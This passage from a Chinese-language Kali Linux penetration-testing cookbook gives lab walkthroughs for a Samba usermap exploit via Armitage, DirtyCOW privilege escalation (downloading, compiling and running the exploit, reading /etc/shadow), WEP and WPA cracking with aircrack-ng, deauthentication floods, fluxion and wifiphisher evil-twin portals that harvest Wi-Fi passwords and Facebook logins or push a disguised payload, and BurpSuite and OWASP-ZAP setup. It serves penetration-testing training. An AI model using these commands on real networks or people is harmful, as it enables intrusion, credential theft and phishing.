  1. 现在让我们尝试利用该系统来获得 root 权限。右键点击主机,选择 攻击 | samba | usermap_script:

Armitage:主界面

  1. 在攻击对话框中,确保你的 LHOST 地址正确,然后点击启动:

Armitage:攻击对话框

  1. 在成功启动后,你将看到一个新的 shell 会话已被创建,在我的例子中,是 shell 8:

Armitage 漏洞利用输出

  1. 右键点击主机,选择 shell8 | 互动 选项,你将进入 Metasploitable 机器中的命令提示符窗口。输入以下命令:
whoami <enter>
  1. 你会看到我们现在是 root 用户,并且可以使用以下命令关闭主机:
shutdown -h now <enter>

Armitage shell 输出

  1. 如果你切换到 Metasploitable 机器的屏幕,你会看到它正在关机:

Metasploitable 控制台:机器正在关机

DirtyCOW Linux 提权

在这个配方中,我们将使用 DirtyCOW 来攻击 Linux。

我们将使用 Metasploit 与 DirtyCOW 漏洞来进行提权。脏拷贝写入DirtyCOW)最近被发现,是一个重大的漏洞,因为它在多年内未被识别和修复。DirtyCOW 是一个提权漏洞,利用了写时复制(copy-on-write)函数中的竞态条件。

准备就绪

让我们确保满足以下先决条件:

  • 你的 Kali 虚拟机已经启动并运行

  • 你的 Metasploitable 虚拟机已经启动并在主机专用网络上

如何操作...

现在我们将对一台 Linux 机器发起 DirtyCOW 攻击:

  1. 通过点击终端图标打开终端窗口:

  2. 输入以下命令下载我们的 DirtyCOW 漏洞利用代码:

cd <enter>
wget https://github.com/FireFart/dirtycow/raw/master/dirty.c <enter>
nano dirty.c <enter>
  1. 在 nano 中,查找 struct Userinfo user; 部分,并将 user.username 改为 "dirtycow"

nano 接口

  1. 现在我们将把 C 代码发送到我们的 Metasploitable 机器进行编译。

我将使用之前在 远程 Linux 提权 配方中创建的相同用户名和密码。

cd <enter>
scp ./dirty.c user7@192.168.56.105:dirty.c <enter>
password <enter>
  1. 从你的 Kali 虚拟机打开一个 SSH 会话到 Metasploit 虚拟机,以标准用户身份登录:
ssh user7@192.168.56.105 <enter>
password <enter>
  1. 让我们编译新的漏洞利用代码:
gcc -pthread dirty.c -o dirty -lcrypt <enter>
  1. 现在我们来看看在启动漏洞利用之前的状态:
whoami <enter>
id <enter>
cat /etc/shadow <enter>
sudo /etc/shadow <enter>
password <enter>
  1. 你会注意到,我是一个标准用户,没有 root 权限,也不是sudo用户:

Metasploitable 机器输出

  1. 现在我们来运行dirtycow漏洞:
./dirty <enter>
dirtycow <enter>

这将需要几分钟时间来完成;请耐心等待,直到你回到命令提示符窗口! Metasploitable:DirtyCOW 漏洞

  1. 现在让我们看看是否有一个用户可以su到:
su dirtycow 
dirtycow 
whoami 
id 
cat /etc/shadow
  1. 从输出中你现在会看到,我是一个提升权限的用户,并且是 root 等价用户:

Metasploitable:提升权限的输出。完成后不要忘记通过输入以下命令恢复/etc/passwd文件:mv /tmp/passwd.bak /etc/passwd

第八章:无线特定的操作步骤

在本章中,我们将覆盖以下主题:

  • 扫描无线网络

  • 绕过基于 MAC 的认证

  • 破解 WEP 加密

  • 获取 WPA/WPA2 密钥

  • 利用访客访问权限

  • 非法接入点部署

  • 使用无线网络扫描和攻击内部网络

介绍

尽管之前的所有章节为跨领域的渗透测试打下了基础,但无线网络有一套专门的工具,涵盖了渗透测试方法论。

  • 扫描服务集标识符SSID

  • 扫描隐藏的 SSID

  • 确定目标 SSID 的安全性

  • 测试 MAC 地址认证

  • 破解有线等效隐私WEP

  • 破解Wi-Fi 保护接入WPA/WPA2

  • 利用访客访问权限

  • 非法接入点AP)部署

  • 中间人MITM)无线攻击

  • 使用无线网络扫描内部网络

  • 使用无线作为网络相关攻击的媒介

扫描无线网络

无线网络因其易用性、减少布线以及简便的部署方式而广受欢迎。幸运的是,对于我们来说,使其在日常使用中变得便捷的特性,也使得它容易被监控,并且可以从不依赖物理接入网络的区域进行攻击。通常,无线信号会泄漏到公共区域,如停车场、相邻的办公空间、购物中心等。除非无线网络管理员已采取大量措施将无线覆盖限制在他们的设施内,否则很可能你可以使用智能手机开始无线侦察,找一个合适的位置,在范围内设置你的 Kali Linux 平台。

在本节中,我们将介绍如何使用airodump-ng识别可用的无线 SSID,包括那些未设置为广告其存在的 SSID。通过收集到的信息,我们将进一步了解现有的安全类型,并尝试渗透这些保护层的最佳方法。

准备工作

在你能够使用 Kali Linux 进行无线扫描之前,了解你的无线适配器使用的无线芯片组非常重要,因为只有某些无线芯片组才能进入混杂模式或监控模式。有关受支持的芯片组列表,请查看www.aircrack-ng.org/doku.php?id=compatibility_drivers

如果你的无线适配器不受支持,有许多 USB 无线适配器可以以最低成本添加到现有的测试平台中。

一旦确认你的无线芯片组受支持,你需要通过以下操作将wlan0切换到监控模式:

root@kali:~/# ifconfig wlan0 down
root@kali:~/# iwconfig wlan0 mode monitor
root@kali:~/# ifconfig wlan0 up
root@kali:~/# airmon-ng start wlan0

操作方法...

一旦你确认所有干扰过程已停止,你将使用以下步骤开始收集可用无线网络的信息:

  1. 创建一个名为wireless的目录来保存结果,并切换到该目录。这是工具输出结果将被保存的位置。

  2. 从命令行中输入以下内容:

root@kali:~/wireless# airodump-ng -w KaliCookbook_8.1 wlan0mon
  1. 允许此过程运行几分钟。在这段时间内,你将开始看到你的设备可以看到的无线网络信息,如下所示:

通过 airodump-ng 看到的无线网络

  1. 使用前述信息,你可以了解到以下内容:

    1. 我们可以看到总共有 5 个 ESSID,其中一个未广播其 ESSID。

    2. Kali_One显示其加密类型为OPN,这意味着任何人都可以连接到这个 ESSID。这通常是访客无线网络的配置方式。

    3. Kali_TwoKali_Three显示其加密类型为WEP,但我们还不知道它们是 40 位还是 104 位 WEP 密钥。

    4. Kali_Four显示其加密类型为WPA2,并使用 PSK 进行认证(预共享密钥)。

    5. 如果我们查看 ESSID 的 BSSID(MAC 地址),我们会看到它们是连续的。这在中央管理的无线网络环境中很常见,且告诉我们成功连接到其中一个或多个 ESSID 将增加我们访问更大企业网络的机会。

  2. 从同一目录中列出扫描结果生成的文件。将这些信息随时提供给你,而不必不断扫描,有助于减少你需要主动扫描的时间。

绕过基于 MAC 的认证

在没有真正集中认证的情况下,或者当设备需要连接到无线网络但无法提供认证凭证时,通常会设置一个开放的无线网络,并配置为只允许特定的 MAC 地址连接。这种情况在较旧的设备中较为常见,尤其是那些在无线网络安全化之前制造的设备。

由于 MAC 认证很容易被绕过,但由于其实现简单以及人们认为它有效,因此它仍然被意外地广泛应用于许多地方。

准备工作

为了完成本教程,你需要按照前一节扫描无线网络中列出的命令操作,将你的无线网卡设置为监控模式。

你可以通过运行以下命令来确认这一点:

root@kali:~/wireless# iw dev

确认接口wlan0mon已设置为monitor模式:

如何操作...

完成本教程所需的步骤如下:

  1. 类似于前一节,我们将使用airodump-ng收集更具体的信息。由于我们知道 ESSID Kali_One未进行认证,我们将查找该特定 BSSID 及连接到它的设备。打开终端会话并按如下方式启动airodump-ng
root@kali:~/wireless#  airodump-ng --bssid 68:86:A7:1D:6D:83 -w KaliCookbook_8.2 wlan0mon
  1. 当此过程运行时,你将开始看到当前连接到该 BSSID 的设备,提供一份在授权 MAC 地址列表中的设备清单:

连接到特定 ESSID 的设备

  1. 现在我们已经获得了一个在授权 MAC 地址列表中的 MAC 地址,我们可以使用macchanger工具将 Kali Linux 机器的 MAC 地址更改为前面设备的地址。

  2. 打开一个新的 root 终端,禁用wlan0,更改 MAC 地址,并将接口恢复:

root@kali:~/wireless# ifconfig wlan0mon down
root@kali:~/wireless# macchanger -m 7A:DA:38:06:5B:B2 wlan0mon
root@kali:~/wireless# ifconfig wlan0mon up

使用macchanger更改 MAC 地址

  1. 现在,尝试连接到该 SSID 应该是成功的。使用NetworkManager,尝试连接到Kali_One SSID,并通过命令行确认:

破解 WEP 加密

无线管理员意识到开放网络或依赖 MAC 地址认证的网络存在不可接受的风险,因此随着时间的推移,已经有很多尝试来加固无线网络的认证,每种方式都有其局限性:

  • 有线等效隐私WEP)使用 RC4 加密算法,并将用户定义的密钥与 24 位初始化向量IV)结合。不幸的是,IV 会被重用,因此我们可以使用像aircrack-ng这样的工具来获取原始密钥,从而让我们作为认证端点访问目标网络。

  • Wi-Fi 保护接入WPA)有几种不同的形式,比 WEP 更安全。因为它可以像 WEP 一样使用预共享密钥(WPA-PSK),所以像 fluxion 这样的工具可以恢复预共享密钥,而使用 WPA2 并结合中心身份验证源(通常是 RADIUS)时,则需要使用像hashcat这样的工具进行暴力破解(在获取 WPA/WPA2 密钥一节中介绍)。

需要注意的是,为了能够恢复预共享密钥,通常需要监控大量的网络流量并将其保存在 PCAP 文件中进行分析,因此在部署系统时,要记住它们可能需要长时间保持不受干扰。

准备就绪

为了完成此步骤,你需要遵循本章第一节中列出的命令,将无线网卡设置为监控模式。

你可以通过运行以下命令来确认这一点:

root@kali:~/wireless# iw dev

确认接口wlan0mon已设置为type monitor

如何操作……

这是我们用来查找和暴露 WEP 密钥的过程:

  1. 根据在扫描无线网络部分中进行的扫描,我们知道Kali_TwoKali_Three的 SSID 都在channel 11上运行 WEP,因此它们将是本节的目标。

  2. 使用airodump-ng,我们将使用以下命令行从Kali_Two开始数据捕获:

root@kali:~/wireless# airodump-ng -c 11 --bssid 68:86:A7:1D:6D:84 -w KaliCookbook_8.3 wlan0
  1. -c参数指定频道(channel 11),BSSID 是 AP 的 MAC 地址(68:86:A7:1D:6D:84)。我们将把pcap文件写入与前面相同的目录,并在wlan0mon上进行监听。

  2. 一旦启动,收集足够的数据包来暴露 IV 可能需要很长时间——通常在 250,000 到 1,500,000 之间,具体取决于密钥长度。你可以在airodump-ng的进度指示器中看到进度,我们会关注#Data列:

airodump-ng 进度 如果你想使用已知的有效数据文件来运行aircrack-ng,有很多可用的文件,此外,还有更多关于高级aircrack-ng的详细信息,访问此地址:www.aircrack-ng.org/doku.php?id=aircrack-ng

  1. 一旦你收集了足够的 IV(初始化向量),可以开始破解过程,使用以下命令启动:
root@kali:~/wireless# aircrack-ng -b 68:86:A7:1D:6D:84 KaliCookbook_8.3-01.cap
Opening KaliCookbook_8.3.cap
 Read 563244 packets.

# BSSID             ESSID      Encryption

1 68:86:A7:1D:6D:84            WEP (563244 IVs)

Choosing first network as target.
  1. 破解 WEP 密钥的过程将开始,具体时间取决于收集的数据量和使用的密钥长度,这可能需要一些时间。然而,完成后,你将看到如下显示:
 KEY FOUND! [ kali2 ] 
 Probability: 100%

在我们的例子中,WEP 密钥是kali2,现在可以直接用来连接到无线网络,作为已认证的终端。

获取 WPA/WPA2 密钥

本节将带你了解使用两种不同方法收集 WPA 密钥的过程:

  • 通过 SSID 篡改和 fluxion 进行社会工程学攻击

  • 使用hashcat对收集的数据进行暴力破解

准备就绪

为了完成这个操作,你需要按照扫描无线网络部分的命令操作,并将无线网卡设置为监听模式。

你可以通过运行以下命令来确认:

root@kali:~/wireless# iw dev

确认接口wlan0mon已设置为monitor模式:

如何操作...

获取 WPA 受保护网络密码有两种方式;我们将通过以下方式使用 fluxion:

  1. 从命令行确保你的无线适配器处于监听模式:
root@kali:~/wireless# iw dev
 phy#0
 Interface wlan0
 ifindex 4
 wdev 0x1
 addr 6e:1d:0b:80:36:2b
 type monitor
 channel 13 (2472 MHz), width: 20 MHz (no HT), center1: 2472 MHz
 txpower 20.00 dBm
  1. 从命令行,我们需要从 Git 下载 fluxion:
root@kali:~/wireless# git clone https://github.com/wi-fi-analyzer/fluxion
Cloning into 'fluxion'...
remote: Counting objects: 2646, done.
remote: Total 2646 (delta 0), reused 0 (delta 0), pack-reused 2646
Receiving objects: 100% (2646/2646), 26.13 MiB | 3.44 MiB/s, done.
Resolving deltas: 100% (1444/1444), done.
root@kali:~/wireless#
  1. 导航到创建的目录(fluxion/)并运行以下命令:
root@kali:~/wireless/fluxion# ./fluxion.sh

如果缺少系统依赖项,你可以运行./install/installer.sh文件来确保所有必要的软件包已安装。

  1. 一旦所有依赖项都满足,你将看到如下内容:

Fluxion 启动

  1. 在下一个屏幕中,选择你的无线适配器。

  2. 接下来,你将被要求选择要监听的频道。由于我们的目标 SSID 在channel 11,我们将输入11并按回车

  3. 下一屏幕将弹出一个额外的终端窗口,标题为扫描目标,后面是我们选择的频道,fluxion 将在该频道扫描网络。让其运行几分钟,直到找到你想要破解的 SSID,然后点击右上角的 X 关闭扫描并返回 fluxion 应用程序。

  4. 现在,你将看到扫描会话中发现的 SSID 列表,我们需要查找已连接客户端的 SSID。输入列表中的 SSID 编号并按 Enter

  5. 选择了 SSID 后,你将有机会选择如何攻击该 SSID。在这种情况下,我们将选择选项[1] - FakeAP - Hostapd(推荐),并按 Enter

选择伪门户方法

  1. 现在,系统将提示你输入之前记录的客户端与 AP 之间的握手会话的位置。如果你没有从之前的尝试中保存任何记录,直接按 Enter,然后在下一个屏幕上选择aircrack-ng选项。

  2. 当被询问如何捕获握手时,输入1选择“断开所有连接”选项并按 Enter

  3. 这将启动两个附加窗口——在右下角,你将看到 fluxion 尝试发送 deauth 数据包,在右上角,你将看到进度。当你看到 ESSID 与客户端之间的数据包时,可以返回 fluxion 窗口,选择选项[1] 检查握手并按 Enter

使用 fluxion 捕获客户端握手

如果你尚未成功捕获握手,将有选项重新开始捕获过程。

  1. Fluxion 现在将检查是否已配置 SSL 证书用于登录门户。在大多数情况下,选择创建 SSL 证书并继续是可以接受的:

选择用于强制门户的证书

  1. 下一屏幕将选择1选项进入Web Interface并继续。

  2. 下一屏幕将提供多个不同的门户选项,你可以选择呈现给用户的方式。我们将输入1选择English并继续。

Fluxion 可以进行高度定制,以展示一个几乎与可用于访客门户的门户相同的页面,等等。这将需要定制门户以满足你的需求。要了解更多关于如何实现这一点的信息,请访问 fluxion 的 Git 代码库:github.com/wi-fi-analyzer/fluxion

  1. Fluxion 现在将在多个终端中启动一系列应用程序,显示其攻击所需进程的统计信息。它将启动一个 DHCP 服务器,一个伪 AP(与目标 SSID 同名,但不受 WPA 保护),一个 DNS 服务器,将所有 DNS 请求强制指向同一 IP 地址的门户,以及生成的 SSID 信息。MDK3 正在运行,以去认证任何试图连接到原始 SSID 的设备,迫使它们连接到我们的 SSID:

Fluxion 攻击的进度

  1. 一旦设备被迫连接到我们的 SSID,它们将被重定向到由 fluxion 生成的捕获门户。根据你之前选择的选项或你自定义的门户,它们将被重定向到一个类似以下的门户:

捕获门户

  1. 当用户看到此屏幕时,他们很可能会输入原始 SSID 的 WPA 密码(在我们的案例中是Kali_Five),然后点击提交。当他们这样做时,fluxion 将验证该密码是否为预共享密钥,如果是,fluxion 的进程将停止,你将看到类似以下的屏幕:

识别出的 WPA 密码

  1. 如果你认为网络用户不太可能被欺骗提供他们的凭据,你也可以使用hashcat对 WPA 密钥执行字典攻击或暴力破解攻击。为此,我们将使用与破解 WEP 加密部分相同的数据收集过程,从Kali_Five SSID 收集数据:
root@kali:~/wireless# airodump-ng -c 11 --bssid OE:18:0A:36:E1:C0 -w KaliCookbook_8.4 wlan0
  1. 为了加速数据收集过程并捕获更多的握手信息,我们将使用以下命令行向连接到我们 BSSID 的客户端发送 100 次去认证尝试:
root@kali:~/wireless# aireplay-ng --deauth 100 -a OE:18:0A:36:E1:C0 -c 38:59:F9:5F:80:A9 wlan0
  1. 允许airodump-ng终端在其自己的终端中继续运行。

  2. Kali Linux 包括一个可以与hashcat一起使用的大型词典。Hashcat 是一个多功能的密码暴力破解工具,支持大量格式。在一个单独的终端中,导航到以下目录并解压rockyou.txt.gz词典:

root@kali:~/wireless# cd /usr/share/wordlists root@kali:usr/share/wordlists# gunzip rockyou.txt.gz 

在写本文时,rockyou.txt包含了 14,344,392 个不同的词汇。

  1. 停止airodump-ng进程,并找到airodump生成的cap文件:

airodump-ng 过程生成的文件

  1. airodump-ng生成的文件格式不适合与hashcat一起使用,并且 Kali 当前没有转换cap文件为hccapx格式所需的工具,而hccapx是与hashcat一起使用所必需的格式。这让你有两种选择:

  2. 假设你已经将cap文件转换为hccapx格式,使用前面提到的工具之一,我们现在将使用rockyou.txt字典文件通过hashcat对该文件进行攻击:

root@kali:~/wireless# hashcat -m 2500 -a 0 KaliCookbook_8.4-01.hccapx /usr/share/wordlists/rockyou.txt 

该命令行执行以下操作:

-m 2500:指示hashcat使用 WPA 哈希格式

-a 0: 表示我们正在进行基于字典的攻击

  1. 一旦hashcathccapx文件中确定了 WPA 密钥,它将在终端窗口中返回结果。正如我们在 fluxion 部分中发现的那样,WPA 密码是wireless

利用访客访问

当提供访客访问时,通常它会与你试图渗透的网络处于同一共享网络上。提供的无线访客访问有几种不同类型,每种类型都有自己的漏洞:

  1. 预共享密钥:这些通常是 WEP 或 WPA PSK,用来将未授权的用户或设备限制到最小化。不幸的是,这些密钥通常为很多人所知,并且很少被更改。

  2. 捕获门户:访客连接到无线网络后,会自动重定向到一个网页,提示他们输入凭证。这可能会与预共享密钥结合使用,也可能不会。

访客访问的最常见实现包括我们在前几部分中做过的那些步骤,但它们是组合在一起的,并且通常会通过它们的 SSID 标记为访客网络。

准备就绪

为了完成这个过程,你需要按照扫描无线网络一节中列出的命令,将无线网卡设置为监控模式。

你可以通过运行以下命令来确认这一点:

root@kali:~/wireless# iw dev

确认接口wlan0mon已设置为type monitor

如何操作...

为了利用带有访客网络的环境,我们将使用以下流程:

  1. 首先,我们需要查看哪些网络可能是访客网络。从运行airodump-ng开始,如下所示:
root@kali:~/wireless# airodump-ng -w KaliCookbook_8.5 wlan0mon

搜索访客网络

  1. 根据airodump-ng运行的结果,我们可以看到 ESSID Kali_Guest是可见的,并且使用共享的 WEP 密钥进行保护,而 ESSID Kali_Guest1是开放的。

  2. 我们将从开放的 SSID 开始,因为几乎所有访客网络实现都使用访客门户,而且认证会话是通过连接到访客网络的设备的 MAC 地址来跟踪的。为了开始收集该网络节点的信息,我们首先对Kali_Guest1的 BSSID 运行airodump-ng

root@kali:~/wireless# airodump-ng --bssid 68:86:A7:1D:6D:83 -w KaliCookbook_8.5 wlan0mon
  1. 正如我们在前面的部分中发现的,这将显示连接到该网络的设备。在这种情况下,我们可能会看到比平时更多的设备,因为许多设备会自动连接到未认证的网络。使用macchanger工具伪造这些设备之一,以使用它们的认证会话:
root@kali:~/wireless# ifconfig wlan0mon down
root@kali:~/wireless# macchanger -m 7A:DA:38:06:5B:B2 wlan0mon
root@kali:~/wireless# ifconfig wlan0mon up
  1. 要开始破解 SSID Kali_Guest 的 WEP 密钥,让我们启动airodump-ng开始收集数据包:
root@kali:~/wireless# airodump-ng -c 11 --bssid 68:86:A7:1D:6D:84 -w KaliCookbook_8.5 wlan0mon

收集信息以破解访客网络上的 WEP 密钥

  1. 正如我们在破解 WEP 加密部分所做的那样,我们收集足够的数据包以便能够提取 WEP 密钥,从而访问访客网络。有关如何访问这些类型网络的更详细步骤,请参见破解 WEP 加密(如果使用 WEP)或破解 WPA/WPA2 加密(如果使用 WPA)部分。

恶意接入点部署

在本教程中,我们将使用wifiphisher创建一个恶意接入点,并通过模拟企业门户来捕获用户名和密码。

由于我们已经在破解 WEP 加密(使用airodump-ng/aircrack-ng)和获取 WPA/WPA2 密钥(使用 fluxion)部分讲解了创建恶意接入点和强制进行去认证,因此本教程将重点介绍创建鼓励开放使用的接入点,并能够收集凭据或传递恶意负载。

准备开始

本教程中使用的工具不包含在 Kali Linux 的基础安装中,必须通过命令行使用以下命令安装:

root@kali:~/wireless# apt-get install wifiphisher

如何操作…

要使用wifiphisher创建一个恶意接入点,将使用以下过程:

  1. 安装完成后,我们将通过以下命令启动wifiphisher,该命令将禁用干扰-nJ)并创建一个名为Free Wifi的 SSID:
root@kali:~/wireless# wifiphisher -nJ -e 'Corporate'
  1. 执行后,系统会要求你选择当受害者连接到我们的 SSID 后将会执行的过程:

wifiphisher 钓鱼选项

  1. 通过输入1并按下Enter键选择浏览器连接重置

  2. 我们现在已经创建了一个开放的无线 SSID,看起来像是一个可以用于多种不同目的的服务。在这种情况下,当连接到此 SSID 时,用户的浏览器会自动重定向到我们在 Kali Linux 系统上运行的 HTTP 服务器,并显示以下页面:

使用浏览器重定向模板的强制门户重定向

为了为您设置的任何接入点增加更多的真实性,您可以通过在命令行添加以下内容来定义使用 WPA/WPA2 预共享密钥:-pK MyKeyHere。当结合使用共享网络的 PSK(如访客网络或企业网络,其中密钥是静态的但已知)与身份验证登录时,这一点尤其有用。

  1. 通过按下CTRL-C停止运行的wifiphisher会话,停止后,在命令行运行以下命令:
root@kali:~/wireless# wifiphisher -nJ -e 'Free WiFi' -p oauth-login

与前一步不同,我们已从命令行定义了钓鱼模板。默认模板和自定义模板都可以从命令行调用,从而生成自动化脚本来启动新的攻击。

  1. 当你连接到这个 SSID 时,你将被重定向到一个欢迎页面,似乎要求你使用 Facebook 凭证进行身份验证,以接入该网络:

通过捕获门户收集 Facebook 凭证

  1. 再次终止上一个会话,我们将通过运行以下命令展示下一个示例:
root@kali:~/wireless# wifiphisher -nJ -e 'Asus' -p firmware-upgrade
  1. 运行此命令将使你能够显示这样的屏幕,提示用户输入他们认为自己连接的网络的 WPA 密码(而不是我们的伪造网络):

固件升级捕获门户示例

  1. 最后,终止当前会话并使用以下命令启动wifiphisher,它将启动一个新的 SSID,不仅会将用户重定向到我们的门户,还能让我们有机会诱使用户下载我们选择的有效负载,伪装成插件更新:
root@kali:~/wireless# wifiphisher -nJ -e 'Guest' -p plugin-update
  1. 与我们启动的其他会话不同,插件更新模板允许我们定义一个有效负载,诱使用户下载并安装,伪装成浏览器插件的更新。启动后,wifiphisher会要求提供你希望定义为有效负载的文件路径。提供该路径后,它将把用户重定向到一个页面,看起来非常像这样:

插件更新钓鱼门户由于wifiphisher使用配置文件作为模板,你可以根据需要创建自己的门户。请查阅该工具主页上的文档:wifiphisher.org/

使用无线网络扫描内部网络

网络访问是最终目标,使用无线网络意味着这种访问可能比通过远程访问/VPN 或通过物理接入网络端口更容易获得。运用本节中的教程,一旦你获得了网络访问权限,很可能你已经使用了一个授权用户的凭证。下一个问题是:接下来该如何做?

在这个教程中,我们将使用前面章节中学到的一些工具,帮助我们找出扩展当前访问权限的方法。

做好准备

本教程假设你已经成功获得了目标无线网络的访问权限,并且具有 IP 连接,最好是通过 DHCP 获取。

如何操作…

一旦连接到无线网络,你可以使用以下流程来识别其他目标和易受攻击的系统:

  1. 根据目前获得的 IP 信息,查看网络地址方案中是否有任何明显的模式。例如,您在一个子网中获得了一个 IP 地址,但基础设施服务,如 DHCP 和 DNS,则位于不同的子网中。这些子网可能包含包含域用户信息的服务器,如Active DirectoryAD)、轻量级目录访问协议LDAP)、集中式数据存储库,如数据库服务器、应用程序服务器等。要查看 DHCP 请求中接收到的信息,请执行以下操作:
root@kali:~/wireless# cat /var/lib/dhcp3/dhclient.leases
lease {
 interface "wlan0mon";
 fixed-address 192.168.56.106;
 option subnet-mask 255.255.255.0;
 option dhcp-lease-time 86400;
 option routers 192.168.56.1;
 option dhcp-message-type 5;
 option dhcp-server-identifier 192.168.56.10;
 option domain-name-servers 192.168.56.10;
 option dhcp-renewal-time 43200;
 option dhcp-rebinding-time 75600;
 option host-name "kalicookbook.local";
 renew 0 2017/8/9 05:17:36;
 rebind 0 2017/8/9 15:06:37;
 expire 0 2017/8/9 18:06:37;
}
  1. 在上述情况下,您可以看到,在客户端网络中,我们从192.168.56.0/24网络获得了一个 DHCP 地址,而 DNS 和 DHCP 位于同一网络中。在许多情况下,用户网络和服务器网络是分开的,这会给我们带来两种可能性:

    1. 用户环境可能不太安全,可能是获取凭据等的较好起点。

    2. 服务器环境位于单独的网络上,并且可能已设置访问控制,如防火墙、访问控制网络等。这些控制可能与认证用户使用的服务相关,因此凭据可能是更好的起点。

  2. 在命令行中运行zenmapzenmapNmap的图形化前端,能够简化结果的收集和可视化。启动zenmap后,输入以下扫描选项并开始扫描。结果应类似于以下屏幕:

使用 zenmap 发现的网络主机

  1. 完成后,点击“主机查看器”以获得关于此环境中主机上运行的服务和应用程序的排序、详细视图。如果我们在左侧选择192.168.56.10,我们可以看到它很可能是一个 Windows 2008 域控制器:

使用 zenmap 定位的 Windows 域控制器

  1. 确定好目标后,让我们重新打开 OpenVAS,这是我们在第三章中设置的漏洞扫描平台,漏洞分析。通过在命令行中输入以下内容来启动 OpenVAS 服务器服务:
root@kali:~/wireless# openvas-start
  1. 打开浏览器,导航到您的 OpenVAS 安装地址,并启动一个新的扫描任务:

新建 OpenVAS 任务:对 192.168.56.10 进行快速扫描

  1. 完成后,查看结果以确定是否需要进一步的步骤。有关使用 OpenVAS 和其他漏洞扫描工具的更详细的教程,请参阅第三章,漏洞分析

第九章:Web 和数据库特定配方

在本章中,我们将涵盖以下主题:

  • 创建 Web 应用程序的离线副本

  • 漏洞扫描

  • 启动网站攻击

  • 扫描 WordPress

  • 破解 WordPress

  • 执行 SQL 注入攻击

简介

评估 Web 应用程序和数据库的安全性需要一套独特的工具,可以针对它们进行利用。由于网站和数据库的可见性以及它们包含的信息量,这些环境是高度针对性的。这些环境可能是公开访问的站点或内部网络。在 Web 应用程序被攻破的情况下,它很可能会被用作进一步网络渗透的跳板。

创建 Web 应用程序的离线副本

您首先应该做的事情之一是创建目标站点的离线副本。这将使您能够分析诸如表单如何提交、应用程序的目录结构以及文件位置等信息。除了站点结构的技术细节外,评论和不活跃的代码也能为您提供其他感兴趣的领域。这些信息可以用来在本章后续部分中设计特定于站点的攻击。通过创建目标站点的离线副本,您还可以限制与站点交互的次数,减少日志中生成记录的数量等。

准备工作

为了执行目标站点的离线副本操作,我们将需要以下内容:

  • 目标系统的网络访问

  • BurpSuite 免费版(默认安装在 Kali Linux 上)

  • 按照配方要求安装的 OWASP-BWA,安装 OWASP-BWA 见第一章,安装 Kali 和实验室设置

如何操作...

为了创建分析的离线副本,我们将使用以下配方:

  1. 从“应用程序 | 03 - Web 应用程序分析”菜单启动 BurpSuite:

启动 BurpSuite

  1. 如果这是首次启动,您将看到一个许可协议——请在点击“我接受”以继续之前阅读此协议。

  2. 由于我们使用的是免费版本,我们只能使用临时项目选项,所以点击“下一步”。

  3. 出于本次演示的目的,我们将使用 BurpSuite 的默认设置。点击“启动 Burp”继续。

如果您打算将此平台用于除测试服务器以外的其他连接,BurpSuite 的默认值应更改为更合适的值,因为这些默认值已知,可能会触发入侵检测系统。

  1. 一旦 BurpSuite 启动,您将看到多个标签:

BurpSuite 的初始视图

  1. 选择主标签“代理”(Proxy),确保显示“拦截关闭”状态,如下所示。如果启用了该功能,点击该链接将切换状态为关闭:

禁用拦截

  1. 接下来,应该将你的浏览器配置为使用 BurpSuite 作为其代理。为此,打开 Firefox ESR,导航到 Preferences | Advanced | Network | Connections | Settings 菜单。你将按以下方式配置代理设置:

浏览器代理配置

  1. 一旦代理设置完成,使用 Firefox 浏览器导航到你的 OWASP-BWA 实例的 IP 地址。从这里,浏览应用程序的一些选项,以熟悉界面布局。

由于 BurpSuite 作为你的浏览器代理运行,你可能会看到 SSL 证书错误——这是预期中的情况。

  1. 返回到 BurpSuite 应用程序,查看 Proxy | HTTP history 选项卡中的条目。找到初始请求到你的 OWASP-BWA 实例,并将其高亮显示。右键单击此条目,并选择添加到范围:

将 OWASP-BWA 添加到目标范围你会在第一列看到不同的数字,因为这是按顺序生成的。按 URL 列排序以找到 / 请求。一旦指定为在范围内,BurpSuite 将仅记录此主机的代理历史记录。

  1. 要查看范围配置,请导航到 Target | Scope,选择你的 OWASP-BWA 实例的主机条目,然后选择编辑。你可以看到这里有几个不同的选项可以选择,包括使用正则表达式来帮助更容易地选择目标。由于我们的示例是单一主机,我们将不更改此选项,并将目标端口保持为80

OWASP 范围配置

  1. 离线副本的生成需要在使用前提供某些信息。导航到 Spider | Options,并查看可用的选项。我们暂时保持默认设置:

BurpSuite 蜘蛛选项

  1. 你可以通过访问 Spider | Control 来查看分析进度,在这里你将看到当前状态:

  1. 一旦蜘蛛开始收集数据,它可以在 BurpSuite 的 Target | Site map 部分找到。在这里你可以看到通过代理发出的所有请求,目标范围内的主机会以粗体显示:

目标 web 应用程序的站点地图详细信息

  1. 现在,你可以查看的不仅是应用程序文档的内容,还包括所有发送到服务器和从服务器接收的请求。通过查看这些内容以及站点地图信息,你可以开始识别需要进一步检查的区域。

你将注意到 BurpSuite 标识出的流量并不属于网站地图中的目标范围。这是因为浏览器生成的所有流量都通过代理,因此被添加到网站地图中。非目标主机被列出但显示为灰色—如果你想将其他主机添加到范围中,可以右键点击相关主机,并选择“添加到范围”。添加后,蜘蛛将把这个主机包含在分析中。

还有更多内容...

BurpSuite 蜘蛛抓取的信息非常广泛,所有收集到的数据的详细分析将需要一本书来完成。如需了解如何更详细地利用这些数据,请参考 PortSwigger 网站:support.portswigger.net/

扫描漏洞

网络应用程序对组织构成特别的风险,因为它们可以通过互联网访问,因此任何人都可以访问。如果仔细考虑,你会发现不可信的外部实体被允许访问组织安全边界内的应用程序和系统,一旦被攻破,它们就成为进一步渗透的优秀跳板。

我们现在将进入方法的下一阶段,使用 OWASP-ZAP 扫描目标系统,查找可能被利用的漏洞。

我们在目标系统的离线副本上进行操作的一个关键原因是,更好地配置工具,以最小化扫描过程产生的噪音。由于行业中对安全的高度关注,许多公司正在实施入侵检测/防御措施,寻找对其系统的攻击签名。如果这些系统被触发,它们可能会完全阻止你访问。使用时请小心。

准备工作

为了成功完成这一部分,我们需要以下内容:

  • 根据食谱中强调的内容,按照第一章中的安装 OWASP-BWA,以及安装 Kali 和实验室设置,完成 OWASP-BWA 的安装与配置。

  • 在你的 Kali Linux 桌面和 OWASP-BWA 实例之间建立网络连接

操作方法...

要使用 OWASP-ZAP 执行目标系统的漏洞扫描,我们将执行以下任务:

  1. 从 Kali Linux 应用程序菜单中,导航到应用程序 | 03 - Web 应用分析 | owasp-zip 来启动该应用程序。

  2. 一旦提示选择会话持久性类型,选择基于当前时间戳的持久性:

选择会话持久性

  1. 在左上角,将扫描模式从安全模式切换到攻击模式:

更改 OWASP-ZAP 脚本模式

